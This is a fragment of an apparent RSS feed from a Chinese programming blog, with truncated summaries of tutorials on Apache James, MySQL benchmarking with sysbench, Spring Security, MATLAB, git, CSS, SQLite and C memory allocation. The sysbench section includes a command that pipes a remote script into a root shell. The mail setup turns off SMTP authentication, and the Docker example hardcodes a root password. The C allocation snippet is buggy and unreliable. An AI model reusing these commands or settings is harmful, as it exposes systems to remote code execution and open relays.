      <description>准备工作 1、下载apache james ，apacheJames 下载之后可以直接运行，无需安装&#xA;注意：此处选择3.5.0版本，因为更高版本与jdk8不配套&#xA;Index of /dist/james/server/3.5.0&#xA;​&#xA;2、下载foxmail，用于后续进行测试&#xA;Foxmail for Mac&#xA;​&#xA;3、安装foxmail&#xA;双击前一步下载的foxmail包，傻瓜式下一步安装即可&#xA;搭建ApacheJames邮件服务器 1、修改 mailetcontainer.xml，修改postmaster的值为postmaster@st.com&#xA;注意：下述@st.com为自定义的邮件域名，与@163.com类似&#xA;&amp;lt;context&amp;gt;&#xA;&amp;lt;!-- When the domain part of the postmaster mailAddress is missing, the default domain is appended.&#xA;You can configure it to (for example) &amp;lt;postmaster&amp;gt;postmaster@myDomain.com&amp;lt;/postmaster&amp;gt; --&amp;gt;&#xA;&amp;lt;postmaster&amp;gt;postmaster@st.com&amp;lt;/postmaster&amp;gt;&#xA;&amp;lt;/context&amp;gt;&#xA;2、修改 smtpserver.xml&#xA;将authRequired、verifyIdentity值配置为false&#xA;将helloName配置为st.com。注意与步骤1中保持一致&#xA;&amp;lt;authRequired&amp;gt;true&amp;lt;/authRequired&amp;gt;&#xA;&amp;lt;verifyIdentity&amp;gt;true&amp;lt;/verifyIdentity&amp;gt;&#xA;&amp;lt;helloName autodetect=&#34;true&#34;&amp;gt;st.com&amp;lt;/helloName&amp;gt;&#xA;3、修改 domainlist.xml&#xA;将autodetect、autodetectIP的值配置为false&#xA;将defaultDomain配置为st.com。注意与步骤1中保持一致&#xA;&amp;lt;domainlist class=&#34;org.apache.james.domainlist.jpa.JPADomainList&#34;&amp;gt;&#xA;&amp;lt;autodetect&amp;gt;false&amp;lt;/autodetect&amp;gt;&#xA;&amp;lt;autodetectIP&amp;gt;false&amp;lt;/autodetectIP&amp;gt;&#xA;&amp;lt;defaultDomain&amp;gt;st.com&amp;lt;/defaultDomain&amp;gt;&#xA;&amp;lt;/domainlist&amp;gt;&#xA;4、启动james&#xA;进入james-server-app-3.5.0/bin目录中，windows执行run.bat，linux执行sh run.</description>
    </item>
    <item>
      <title>MySQL压测实战</title>
      <link>https://bchobby.github.io/posts/0b98bde94919f769495bb8103232156b/</link>
      <pubDate>Sat, 24 Jun 2023 15:48:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b98bde94919f769495bb8103232156b/</guid>
      <description>写作目的 最近看到一句话是MySQL的TPS是4000，这句话是不严谨的，因为没有说服务器的配置。所以自己买了个服务器做了一个压测。希望自己对数据有一个概念。&#xA;注意：服务器不同结果不同，结果不具有普适性。&#xA;服务器配置 配置参数CPU2核内存4GMySQL5.7Linux7.5 MySQL安装 1)docker安装&#xA;2)docker安装MySQL&#xA;docker run --name mysql-6-20220702 -d -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:5.7 MySQL压测实践 压测工具的安装sysbench 执行 下载命令&#xA;curl -s https://packagecloud.io/install/repositories/akopytov/sysbench/script.rpm.sh | sudo bash 安装&#xA;sudo yum -y install sysbench 查看版本&#xA;sysbench --version 构造测试表和数据 sysbench --db-driver=mysql --time=300 --threads=10 --report-interval=1 --mysql-host=127.0.0.1 --mysql-port=3306 --mysql-user=root --mysql-password=123456 --mysql-db=test_db --tables=20 --table_size=1000000 oltp_read_write --db-ps-mode=disable prepare 参数含义–db-driver=mysql这个很简单，就是说他基于mysql的驱动去连接mysql数据库，你要是oracle，或者sqlserver，那自然就是其他的数据库的驱动了–time=300这个就是说连续访问300秒–threads=10这个就是说用10个线程模拟并发访问–report-interval=1这个就是说每隔1秒输出一下压测情况–mysql-host=127.0.0.1这是你要连接的sql服务连接–db-driver=mysql这个很简单，就是说他基于mysql的驱动去连接mysql数据库，你要是oracle，或者sqlserver，那自然就是其他的数据库的驱动了–mysql-port=3306数据端口–mysql-user=test_user数据库用户名–mysql-password=test_user数据库密码–mysql-db=test_db哪个数据库进行压测，需要手动创建库–tables=20压测数据库创建多少张表–table_size=1000000压测数据库每张表插入多少数据oltp_read_write执行oltp数据库的读写测试–db-ps-mode=disable禁止ps模式（不知道干嘛的）prepare参照这个命令的设置去构造出来我们需要的数据库里的数据，他会自动创建20个测试表，每个表里创建100万条测试数据 执行上面命令完毕后数据库中会有这样的命令&#xA;压测结果解读DEMO 从10个线程开始压，压10秒，同时读写操作&#xA;sysbench --db-driver=mysql --time=10 --threads=10 --report-interval=1 --mysql-host=127.0.0.1 --mysql-port=3306 --mysql-user=root --mysql-password=123456 --mysql-db=test_db --tables=20 --table_size=1000000 oltp_read_write --db-ps-mode=disable run [ 1s ] thds: 10 tps: 131.</description>
    </item>
    <item>
      <title>MATLAB二维、三维图形的绘制</title>
      <link>https://bchobby.github.io/posts/f44c986b7e5a01bffb4d24afc0d4bdcd/</link>
      <pubDate>Sat, 24 Jun 2023 15:24:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f44c986b7e5a01bffb4d24afc0d4bdcd/</guid>
      <description>本篇文章主要介绍了MATLAB二维、三维图形绘制，图形属性的设置和图形修饰。二维图形绘制包括使用plot函数绘制二维曲线、选用绘图线型和颜色、添加文字标注、修改坐标轴的显示范围、子图和特殊图形绘制；三维图形的绘制介绍了绘制空间螺旋线和椭圆抛物面两个例子，供读者参考使用。&#xA;1.二维图形的绘制&#xA;（1）使用plot函数绘制一条正弦曲线和余弦曲线：&#xA;clear x=linspace(0,2*pi,100); y1=sin(x); plot(x,y1) hold on %保持原有的图形 plot(x,cos(x)) 运行结果如下：&#xA;（2）plot函数的参数也可以是矩阵：&#xA;close all%关闭所有图形窗口 x=linspace(0,2*pi,100);%用于生成0到2*pi范围内的数据点 y1=sin(x); y2=cos(x); A=[y1;y2]&#39;;%把矩阵转置 B=[x;x]&#39;; plot(B,A)%plot参数也可以是矩阵 本处程序与上面的程序表达意义相同，只是形式有所差别，仿真结果是一样的。&#xA;（3）选用绘图线型和颜色：&#xA;%选用绘图颜色和线型 close all %关闭所有图形窗口 plot(x,y1,&#39;g+&#39;,x,y2,&#39;r:&#39;) grid on %添加网格线 注意运行这里的程序需要前面的程序在MATLAB的路径下，运行的结果如下：&#xA;（4）添加文字标注：&#xA;%添加文字标注 title(&#39;正弦曲线和余弦曲线&#39;) ylabel(&#39;幅度&#39;) xlabel(&#39;时间&#39;) legend(&#39;sin(x)&#39;,&#39;cos(x)&#39;) gtext(&#39;\leftarrowsinx&#39;)%可用鼠标选择标注的位置 % leftarrowsinx产生左箭头，‘\’为转义符 运行该段程序也需要前面的程序在MATLAB路径下，且运行得到的图形不能删除，运行结果如下图所示：&#xA;运行该段程序会先得到一个十字光标，可用鼠标点击需要标注的位置，在该光标点击处会显示一个箭头和sinx的符号，若要修改得到的标注只需要修改最后一段程序即可。&#xA;（5）修改坐标轴范围：&#xA;axis equal %使x轴和y轴的比例相等 axis normal %防止图形显示时出现扭曲或拉伸 axis ([0 pi 0 1.5]) %axis函数语法为：axis([xmin xmax ymin ymax]) 运行结果如下：&#xA;（6）子图和特殊图形的绘制 ：&#xA;subplot(2,2,1) t1=0:0.1:3; y1=exp(-t1); bar(t1,y1); %将数据以柱状图的形式展现 subplot(2,2,2) t2=0:0.2:2*pi; y2=sin(t2); stem(t2,y2); %将离散信号的取值以垂直信号的形式展现 subplot(2,2,3) t3=0:0.</description>
    </item>
    <item>
      <title>git reset后撤回恢复到reset前的版本</title>
      <link>https://bchobby.github.io/posts/0aadcc816f90c84cacc8d7f5b8b2ac03/</link>
      <pubDate>Sat, 24 Jun 2023 15:23:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0aadcc816f90c84cacc8d7f5b8b2ac03/</guid>
      <description>在使用git reset 2命令后，你撤销了最近的两个提交并丢弃了相应的更改。如果你希望恢复这些提交和更改，可以采取以下步骤：&#xA;使用 git reflog 命令查看Git的引用日志，找到你之前所在分支的历史记录。你会看到所有的提交和操作记录。&#xA;针对你要恢复的提交，找到其对应的提交哈希值。&#xA;运行以下命令来恢复到该提交：&#xA;git reset --hard &amp;lt;commit-hash&amp;gt; 将 &amp;lt;commit-hash&amp;gt; 替换为你想要恢复的提交的哈希值。&#xA;这将恢复到指定的提交，并恢复其更改。&#xA;请注意，在使用 git reset --hard 命令后，如果没有及时备份或推送到远程仓库，恢复被撤销的提交和更改可能会变得更加困难。因此，在执行任何重置操作之前，请确保你对重要的更改进行了备份。</description>
    </item>
    <item>
      <title>Data Structure - Treap (Java)</title>
      <link>https://bchobby.github.io/posts/294b772cd87619948a60b64f5ae49504/</link>
      <pubDate>Sat, 24 Jun 2023 14:35:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/294b772cd87619948a60b64f5ae49504/</guid>
      <description>分享一个大牛的人工智能教程。零基础！通俗易懂！风趣幽默！希望你也加入到人工智能的队伍中来！请点击人工智能教程&#xA;package chimomo.learning.java.datastructure; import java.util.Random; /** * Implements a treap. * Note that all &#34;matching&#34; is based on the compareTo method. * * @author Created by Chimomo */ public class Treap&amp;lt;T extends Comparable&amp;lt;? super T&amp;gt;&amp;gt; { private TreapNode&amp;lt;T&amp;gt; root; private TreapNode&amp;lt;T&amp;gt; nullNode; /** * Construct the treap. */ public Treap() { nullNode = new TreapNode&amp;lt;&amp;gt;(null); nullNode.left = nullNode.right = nullNode; nullNode.priority = Integer.MAX_VALUE; root = nullNode; } // Test program.</description>
    </item>
    <item>
      <title>行为型设计模式11-访问者模式</title>
      <link>https://bchobby.github.io/posts/31a58d50660ac5dd4b4301b5a30c9bc7/</link>
      <pubDate>Sat, 24 Jun 2023 13:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/31a58d50660ac5dd4b4301b5a30c9bc7/</guid>
      <description>🧑‍💻作者：猫十二懿&#xA;❤️‍🔥账号：CSDN 、掘金 、个人博客 、Github&#xA;🎉公众号：猫十二懿&#xA;访问者模式 1、访问者模式介绍 访问者模式（Visitor Pattern）是一种行为型设计模式，它**允许你在不修改现有对象结构的情况下定义一些新操作**。通过将操作封装在一个访问者对象中，可以让你在不改变被访问对象的类的前提下，定义对该对象的新操作。&#xA;访问者模式的核心思想是将数据结构与数据操作分离。它适用于那些数据结构稳定，但需要经常添加新的操作的场景。通过引入访问者模式，可以避免在已有的数据结构中添加新操作时的修改和维护工作。&#xA;1.1 访问者模式的基本实现 访问者模式（Visitor），表示一个作用于某对象结构中的各元素的操作。它使你可以在不改变各元素的类的前提下定义作用于这些元素的新操作。&#xA;访问者模式结构图：&#xA;访问者模式包含以下几个关键角色：&#xA;访问者（Visitor）：定义了对每个元素的具体访问操作，它通过重载访问者的方法来实现不同的操作。具体访问者（ConcreteVisitor）：实现了访问者定义的操作，并针对具体的元素类型提供了不同的访问实现。元素（Element）：定义了一个接受访问者的方法，该方法将访问者作为参数传入，使访问者能够访问该元素。具体元素（ConcreteElement）：实现了元素接口，具体元素中会包含接受访问者的具体实现，即调用访问者的方法。对象结构（Object Structure）：包含元素的集合，提供了一个可以被访问的集合接口。 访问者模式的使用步骤如下：&#xA;定义访问者接口，该接口声明了多个访问方法，每个方法对应一个具体元素的访问操作。定义具体访问者类，实现访问者接口，并为每个具体元素提供不同的访问实现。定义元素接口，声明接受访问者的方法。定义具体元素类，实现元素接口，并在接受访问者的方法中调用访问者的相应方法。定义对象结构类，该类维护一个元素集合，并提供遍历元素集合的方法，将访问者作为参数传入元素的接受方法。 Visitor类，为该对象结构中ConcreteElement的每一个类声明一个Visit 操作。&#xA;/** * @author Shier * CreateTime 2023/5/24 21:10 * 抽象访问者类 */ public abstract class Visitor { public abstract void visitConcreteElementA(ConcreteElementA concreteElementA); public abstract void visitConcreteElementB(ConcreteElementB concreteElementB); } ConcreteVisitor1和ConcreteVisitor2类：具体访问者，实现每个由 Visitor声明的操作。每个操作实现算法的一部分，而该算法片断乃是对应于 结构中对象的类。&#xA;/** * @author Shier * CreateTime 2023/5/24 21:17 */ public class ConcreteVisitor1 extends Visitor { @Override public void visitConcreteElementA(ConcreteElementA concreteElementA) { System.</description>
    </item>
    <item>
      <title>多层复杂jsonString转对象</title>
      <link>https://bchobby.github.io/posts/ec50f2da9798d6eb7f5e9939411616da/</link>
      <pubDate>Sat, 24 Jun 2023 01:13:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec50f2da9798d6eb7f5e9939411616da/</guid>
      <description>背景 在开发过程中,有遇到需要透传其他子系统的接口信息的业务，看到相关对接接口的wiki文档。返回参数复杂的一批，此篇文章记录自己本人如何处理这种复杂json格式的，以便后续温故而知新。&#xA;demoDTO package com.yusenliang.springlearnproject.DTO; import lombok.Data; import java.util.List; @Data public class Layer1 { //层次1 List&amp;lt;Object&amp;gt; layer2; String layer1str; } ------------------------------------------------- @Data public class Layer2 { //层次2 List&amp;lt;Object&amp;gt; layer3; String layer2str; } -------------------------------------------------- @Data public class Layer3 {//层次3 Object layer4; String layer3str; } --------------------------------------------------- @Data public class Layer4 {//层次4 String layer4str; } demoJsonString [ { &#34;layer2&#34;:[ { &#34;layer3&#34;:[ { &#34;layer4&#34;:{ &#34;layer4str&#34;:&#34;虞森良&#34; }, &#34;layer3str&#34;:&#34;layer3str&#34; } ], &#34;layer2str&#34;:&#34;layer2str&#34; } ], &#34;layer1str&#34;:&#34;layer1&#34; } ] 处理思路 1.</description>
    </item>
    <item>
      <title>Spring Boot整合Spring Security实现认证鉴权</title>
      <link>https://bchobby.github.io/posts/a795302dc5d14be068f5044036dd84d9/</link>
      <pubDate>Sat, 24 Jun 2023 00:31:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a795302dc5d14be068f5044036dd84d9/</guid>
      <description>Spring Security 本文仅针对前后端分离项目采用的jwt方案来实现认证授权&#xA;相关概念来源网上查找（本文主要是涉及到使用，不会有太深的概念东西）&#xA;Spring Security是一个基于Spring框架的安全性框架，可以为Web应用程序提供身份验证（Authentication）、授权（Authorization）、攻击防御等安全功能。Spring Security框架提供了一整套的身份验证、授权、ACL（访问控制列表）等模块和类库，还提供了一系列的安全过滤器、安全标签等，可以方便地实现常见的安全性控制。&#xA;Spring Security的核心组件如下：&#xA;Authentication：身份验证组件，负责用户身份认证。&#xA;Authorization：权限授权组件，负责用户权限的授权管理。&#xA;Access Control、ACL：访问控制列表组件，负责资源的访问控制和权限的分配控制。&#xA;Session Management：会话管理组件，负责管理用户的会话，如Session ID管理等。&#xA;Web Security：使用Spring Security保护Web应用程序的安全组件。&#xA;Remember-me：记住我功能组件，负责实现自动登录功能。&#xA;OpenID：OpenID功能组件，负责与Open ID提供商的集成。&#xA;Spring Security的主要特点包含：&#xA;可扩展性：Spring Security框架提供了很多可扩展的类和接口，可以通过自定义实现这些接口和类来满足自己的需求。&#xA;配置简单：Spring Security框架的配置非常简单，只需配置几个关键的类即可实现基本的安全性控制。&#xA;弹性设计：Spring Security框架非常灵活，可以根据实际情况在不同的场景下灵活应对。&#xA;多种安全认证方式：Spring Security框架提供了很多种安全认证方式，如表单认证、基本认证、OAuth2等，可以根据实际需求选择合适的认证方式。&#xA;一、大体认证授权流程 官方说明：&#xA;Spring Security的认证机制包括AuthenticationManager和AuthenticationProvider两个核心组件。AuthenticationManager是一个接口，定义了身份验证的入口方法authenticate()，该方法接受一个Authentication对象作为参数，并返回一个封装了认证信息的Authentication对象。AuthenticationProvider是一个接口，定义了身份验证的具体实现，该接口的实现类可以根据不同的身份验证方式（如用户名密码、数字证书等）来实现身份验证的功能。&#xA;在Spring Security中，用户请求经过过滤器链，经过身份认证和授权决策来保护资源的安全。身份认证包括认证请求的处理和身份验证的实现。认证请求的处理包括UsernamePasswordAuthenticationFilter、RememberMeAuthenticationFilter等过滤器的处理。身份验证的实现则是通过AuthenticationManager来实现的。&#xA;授权决策由AccessDecisionManager和AccessDecisionVoter两个核心组件来实现。AccessDecisionManager是一个接口，定义了授权决策的入口方法decide()，该方法接受三个参数：Authentication对象（当前用户的认证信息）、Object对象（正在访问的资源）、List对象（访问资源所需的权限列表）。AccessDecisionVoter则是一个接口，定义了对当前用户的认证信息、当前请求所需的权限、资源的访问控制列表进行比较的方法，以决定当前用户是否有访问该资源的权限。&#xA;总的来说，Spring Security的认证授权原理是通过AuthenticationManager和AuthenticationProvider实现身份认证，通过AccessDecisionManager和AccessDecisionVoter实现授权决策，以保护资源的安全。&#xA;具体的执行流程其实是一个过滤链：&#xA;1、用户向应用程序发起请求，请求需要经过Spring Security的过滤器链。&#xA;2、过滤器链首先会经过UsernamePasswordAuthenticationFilter过滤器，该过滤器判断请求是否是一个认证请求。如果是认证请求，过滤器将获取请求中的用户名和密码，然后使用AuthenticationManager进行身份认证。&#xA;3、AuthenticationManager会根据用户名和密码创建一个Authentication对象，并将该对象传递给AuthenticationProvider进行认证。&#xA;4、AuthenticationProvider会根据传递过来的Authentication对象进行身份认证，并返回一个认证成功或失败的结果。&#xA;5、如果认证成功，UsernamePasswordAuthenticationFilter会将认证信息封装成一个Authentication对象，并将其放入SecurityContextHolder上下文中。&#xA;6、用户请求获取资源时，会经过FilterSecurityInterceptor过滤器，该过滤器会根据请求的URL和HTTP方法获取访问控制列表（Access Control List）。&#xA;7、Access Control List会包含访问资源所需要的权限信息，FilterSecurityInterceptor会将Authentication对象和Access Control List传递给AccessDecisionManager进行授权决策。&#xA;8、AccessDecisionManager会调用多个AccessDecisionVoter进行投票，并根据投票结果来决定当前用户是否有访问该资源的权限。如果用户被授权访问资源，应用程序将返回资源的响应结果。&#xA;总结就是首先经过认证过滤器实现认证，认证成功的话就会将用户信息存到authentication对象里面放到security上下文去（后续的权限校验需要获取到），这里面是包括权限的，之后再由AccessDecisionManager去根据相关策略进行权限鉴定&#xA;二、集成完整案例代码 思路：从上面的总结来看，认证的话，因为使用的是jwt，因此直接自定义一个过滤器来实现认证，同时之后还需要在AccessDecisionManager权限鉴定，所以我们在这个认证的过滤器里面去做认证并且获取到该用户的权限创建出Authentication对象存放到security上下文以支持后续的鉴权&#xA;目录结构：&#xA;只针对主要的展示，例如security和controller相关的&#xA;0、数据准备 /* Navicat Premium Data Transfer Source Server : 本地 Source Server Type : MySQL Source Server Version : 80031 (8.</description>
    </item>
    <item>
      <title>上传文件 运用element-plus组件实现</title>
      <link>https://bchobby.github.io/posts/1f4c9dc697c4cdc229f8625e83e539bf/</link>
      <pubDate>Fri, 23 Jun 2023 23:21:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f4c9dc697c4cdc229f8625e83e539bf/</guid>
      <description>&amp;lt;!-- http-request覆盖默认的xhr行为，允许自行实现上传的请求 --&amp;gt; &amp;lt;el-upload class=&#34;upload-demo&#34; drag accept=&#34;.xls,.xlsx&#34; :http-request=&#34;uploadHandler&#34; :show-file-list=&#34;false&#34;&amp;gt; &amp;lt;el-icon class=&#34;el-icon--upload&#34;&amp;gt; &amp;lt;upload-filled /&amp;gt; &amp;lt;/el-icon&amp;gt; &amp;lt;div class=&#34;el-upload__text&#34;&amp;gt; 拖拽 xls/xlsx 文件到这里 或者 &amp;lt;em&amp;gt;点击上传&amp;lt;/em&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/el-upload&amp;gt; &amp;lt;el-table :data=&#34;tableData&#34; v-if=&#34;tableData.length&#34;&amp;gt; &amp;lt;el-table-column v-for=&#34;(value, key) in tableData[0]&#34; :key=&#34;key&#34; :prop=&#34;key&#34; :label=&#34;key&#34; align=&#34;center&#34;&amp;gt; &amp;lt;/el-table-column&amp;gt; &amp;lt;/el-table&amp;gt; data(){ return { // excel 的数据 tableData: [] } methods: { uploadHandler(data) { // 这就是上传的那个文件 const file = data.file console.log(file) // 创建一个文件读取的实例 const reader = new FileReader() console.log(reader) // 读取成一个buffer格式的文件 reader.readAsArrayBuffer(file) // 当onload执行的时候 文件已经读取完成 reader.</description>
    </item>
    <item>
      <title>使用matlab提取图片信息的简单代码</title>
      <link>https://bchobby.github.io/posts/c9784e20451037f83bc862dbd36534ec/</link>
      <pubDate>Fri, 23 Jun 2023 22:59:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c9784e20451037f83bc862dbd36534ec/</guid>
      <description>使用matlab提取图片信息的简单代码如下所示，其中row，col，channel的值由编者自己设置，使用该代码时需要注意将要读取的图片保存在matlab工作路径下，以使代码指示的图片能够被读取到。&#xA;img=imread(&#39;image.jpg&#39;); %读取图片 [height,width,channels]=size(img); %获取图片大小 row=100; %行索引值 col=200; %列索引值 channel=3; %channel是颜色通道索引，1表示红色，2表示绿色，3表示蓝色 pixel_value=img(row,col,channel); %获取像素值，channel是颜色通道索引 gray_value=rgb2gray(img(row,col,:)); %获取灰度值 [x,y]=meshgrid(1:width,1:height); %获取像素坐标 imshow(img); %显示图片 imwrite(img,&#39;new_image.jpg&#39;); %保存图片 本次代码读取的图片如下所示：&#xA;代码运行的结果如下所示：</description>
    </item>
    <item>
      <title>前端基础之CSS扫盲</title>
      <link>https://bchobby.github.io/posts/1daa3d063ee20a3d503a39794e960374/</link>
      <pubDate>Fri, 23 Jun 2023 22:58:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1daa3d063ee20a3d503a39794e960374/</guid>
      <description>文章目录 一. CSS基本规范1. 基本语法格式2. 在HTML引入CSS3. 选择器分类 二. CSS常用属性1. 文本属性2. 文本格式3. 背景属性4. 圆角矩形和圆5. 元素的显示模式6. CSS盒子模型7. 弹性布局 光使用HTML来写一个前端页面的话其实只是写了一个大体的框架, 整体的页面并不工整美观, 而CSS可以在HTML的基础之上将页面优化的非常好看, HTML只是描述了网页的结构和有什么内容(也就是让网页有了 “骨”), 而CSS可以自由的设置网页的布局和样式(包括大小/位置/字体/颜色/背景等), 可以让网页的内容充实起来(让网页有了 “皮和肉”), CSS也叫层叠样式表, 一个元素可以运用多组样式, 有多层叠加的效果. 一. CSS基本规范 1. 基本语法格式 选择器+{一条/N条声明}&#xA;选择器决定下面的这些声明针对谁起作用(修改谁).声明决定修改哪些内容.声明的属性是键值对, 使用;来区分键值对, 使用:区分键和值. 注意:&#xA;CSS代码可以放到HTML文件中, 通常是放到style标签中.style标签可以放到页面上的任意位置, 一般放到head标签内.CSS使用/* */来作为注释. 2. 在HTML引入CSS 🎯1. 内部样式&#xA;写在style标签中然后嵌入到html代码内部, 理论上来说style可以放到html的任何位置, 但是一般都是放到head标签中, 内部样式的优点是能够让样式和页面结构分离, 缺点在于分离的还不够彻底, 尤其是CSS内容多的时候, 所以建议在CSS代码比较简单的时候使用内部样式.&#xA;在本篇博客中涉及到的代码都比较简单, 所以主要就使用内部样式来介绍了.&#xA;🎯2. 内联样式&#xA;使用HTML标签中的style属性来针对指定元素设置样式, 这种写法适合于非常简单的样式, 只针对某一个标签有效.&#xA;🎯3. 外部样式&#xA;把CSS代码写到一个单独的.css文件当中, 再通过link标签将CSS文件引入到HTML代码中, 这种写法让HTML的代码和CSS彻底分离了, 实际开发中使用的也一般是这种外部样式, 缺点是可能受到浏览器缓存影响, CSS效果不一定能立刻生效.&#xA;语法格式:&#xA;&amp;lt;link rel=&#34;stylesheet&#34; href=&#34;CSS文件路径&#34;&amp;gt; 显示效果:</description>
    </item>
    <item>
      <title>微信为什么使用 SQLite 保存聊天记录？</title>
      <link>https://bchobby.github.io/posts/84efa35da9a765f7dbd3a9be4b113e7b/</link>
      <pubDate>Fri, 23 Jun 2023 15:17:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/84efa35da9a765f7dbd3a9be4b113e7b/</guid>
      <description>概要 SQLite 是一个被大家低估的数据库，但有些人认为它是一个不适合生产环境使用的玩具数据库。事实上，SQLite 是一个非常可靠的数据库，它可以处理 TB 级的数据，但它没有网络层。接下来，本文将与大家共同探讨 SQLite 在过去一年中最新的 SQL 功能。&#xA;SQLite “只是”一个库，它不是传统意义上的服务器。因此，在某些场合下，它确实不合适。但是，在相当多的其他场合，它却是最合适的选择。SQLite 号称是部署和使用最广泛的数据库引擎。我认为这很有可能，因为 SQLite 没有版权的限制。无论何时，只要开发者想使用 SQL 在文件中存储结构化的数据，SQLite 应是首选方案。&#xA;SQLite 的 SQL 方言也非常强大。它比 MySQL 早四年就开始支持 with 语句。最近，它还实现了对于窗口函数的支持，这仅仅比 MySQL 晚五个月。&#xA;接下来，本文将介绍 SQLite 在 2018 年新增加的 SQL 功能，也就是 SQLite 从版本 3.22.0 到 3.26.0 所新增加的 SQL 功能。&#xA;具体内容包括：&#xA;布尔字面量和判断&#xA;窗口函数&#xA;Filter子句&#xA;Insert … on conflict (“Upsert”)&#xA;重命名列&#xA;在Modern-SQL.com上接下来&#xA;布尔变量和判断&#xA;SQLite支持“假”布尔值：它接受Boolean作为类型的名称，但它将其当作整数看待（这一点非常类似于MySQL）。真值true和false分别由数值1和0表示（这一点和C语言一样）。微信搜索公众号：信安黑客技术，回复：黑客 领取资料 。&#xA;从版本3.23.0开始，SQLite将关键字true和false分别用数字1和0表示，并支持is [not] true | false的判断语句。现在，它不再支持关键字unknown。开发者可以使用空值null来代替，因为unknown和null的布尔值是一样的。&#xA;在INSERT和UPDATE语句中，字面量true和false可以大大提高values和set子句的可读性。&#xA;is [not] true | false这个判断语句很有用，它与比较操作的含义不一样：</description>
    </item>
    <item>
      <title>手把手教你搭建vue-cli前端页面【超详细教程】</title>
      <link>https://bchobby.github.io/posts/29482b0623cd5d6f953de825ff6c57df/</link>
      <pubDate>Fri, 23 Jun 2023 14:41:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/29482b0623cd5d6f953de825ff6c57df/</guid>
      <description>文章目录 配置前端运行环境Node.jsnpm工具搭建一个vue-cli项目安装组件路由ElementUI框架 配置前端运行环境Node.js 简单说Node.js是运行在服务器端的JavaScript&#xA;下载地址：http://nodejs.cn/download/&#xA;npm工具 npm是Node.js中的的包管理工具，用来安装各种Node.js的扩展&#xA;搭建一个vue-cli项目 这里我们使用软件HbuilderX做一个示范&#xA;选择vue项目2.6.10&#xA;项目结构：&#xA;运行方式&#xA;启动命令：npm run serve&#xA;项目地址：&#xA;安装组件路由 1.先创建一个Vue组件Login（登陆组件），导入背景图片&#xA;&amp;lt;template&amp;gt; &amp;lt;div class=&#34;login_container&#34;&amp;gt; &amp;lt;!-- 登录盒子--&amp;gt; &amp;lt;div class=&#34;login_box&#34;&amp;gt; &amp;lt;!-- 头像盒子--&amp;gt; &amp;lt;div class=&#34;img_box&#34;&amp;gt; &amp;lt;img src=&#34;./assets/logo.png&#34; /&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; &amp;lt;/script&amp;gt; &amp;lt;style&amp;gt; .login_container{ position: relative; height: 100vh; margin: 0px; padding: 0px; background-image: url(assets/bg.jpg); background-size: cover; } .login_box{ position:relative ; top:200px; width: 450px; height: 350px; background-color: #fff; border-radius: 10px; position: absolute; left: 50%; top: 50%; transform: translate(-50%,-50%); opacity: 0.</description>
    </item>
    <item>
      <title>python将字典写入csv文件错误提示：a bytes-like object is required, not ‘str‘</title>
      <link>https://bchobby.github.io/posts/f4868352617036b62b77e39a5245c50f/</link>
      <pubDate>Fri, 23 Jun 2023 11:38:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f4868352617036b62b77e39a5245c50f/</guid>
      <description>问题：本打算将字典写入csv文件，却一直提示：a bytes-like object is required, not &#39;str&#39;&#xA;关键代码如下：&#xA;myDict={&#39;唐僧&#39;: 880, &#39;孙悟空&#39;: 52, &#39;妖怪&#39;: 88}&#xA;csvFile=open(&#34;out.json&#34;,&#34;wb&#34;)&#xA;writer=csv.writer(csvFile)&#xA;writer.writerow(myDict)&#xA;解决方案：&#xA;经观察发现，问题出在这段代码，：csvFile=open(&#34;out.json&#34;,&#34;wb&#34;)&#xA;csv文件的打开方式为“wb”&#xA;将其改为“w”,即csvFile=open(&#34;out.json&#34;,&#34;w&#34;) 问题解决！</description>
    </item>
    <item>
      <title>qt creator创建完工程错误提示:-1: error: Cannot run compiler ‘cl‘. Output解决办法</title>
      <link>https://bchobby.github.io/posts/9aa67aada88e0aef75f0112cc19dfc7e/</link>
      <pubDate>Fri, 23 Jun 2023 11:35:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9aa67aada88e0aef75f0112cc19dfc7e/</guid>
      <description>新建工程，运行提示：-1: error: Cannot run compiler &#39;cl&#39;. Output&#xA;解决办法：&#xA;1：点击左下角三角形上面那个桌面（debug）图标&#xA;2：选择构建套件为：minGW32bit,&#xA;3:ok,完美解决.......</description>
    </item>
    <item>
      <title>C语言如何给二级指针动态内存分配、初始化和释放</title>
      <link>https://bchobby.github.io/posts/129bc6232f86d79bb936ac2fa1377f68/</link>
      <pubDate>Fri, 23 Jun 2023 11:31:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/129bc6232f86d79bb936ac2fa1377f68/</guid>
      <description> 一、需求&#xA;需要动态创建二维数组，但数组大小是一个变量。&#xA;二、解决方案&#xA;#include&amp;lt;stdio.h&amp;gt; #include&amp;lt;malloc.h&amp;gt; int main() { int m = 10; int n = 0; //分配内存 int** arr = (int**)malloc(sizeof(int)*m); for(int i=0; i&amp;lt;m; i++) { arr[i] = (int*)malloc(sizeof(int)*m); } //初始化内存 memset(*arr, 0, sizeof(int)*m*n); //内存使用 //todo arr[i][j] //释放内存 for(int i=0; i&amp;lt;m; i++) { free(arr[i]); } } </description>
    </item>
    <item>
      <title>基于Qt的智能管家客户端设计</title>
      <link>https://bchobby.github.io/posts/793f198283293ce3dfde01247378179c/</link>
      <pubDate>Fri, 23 Jun 2023 11:26:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/793f198283293ce3dfde01247378179c/</guid>
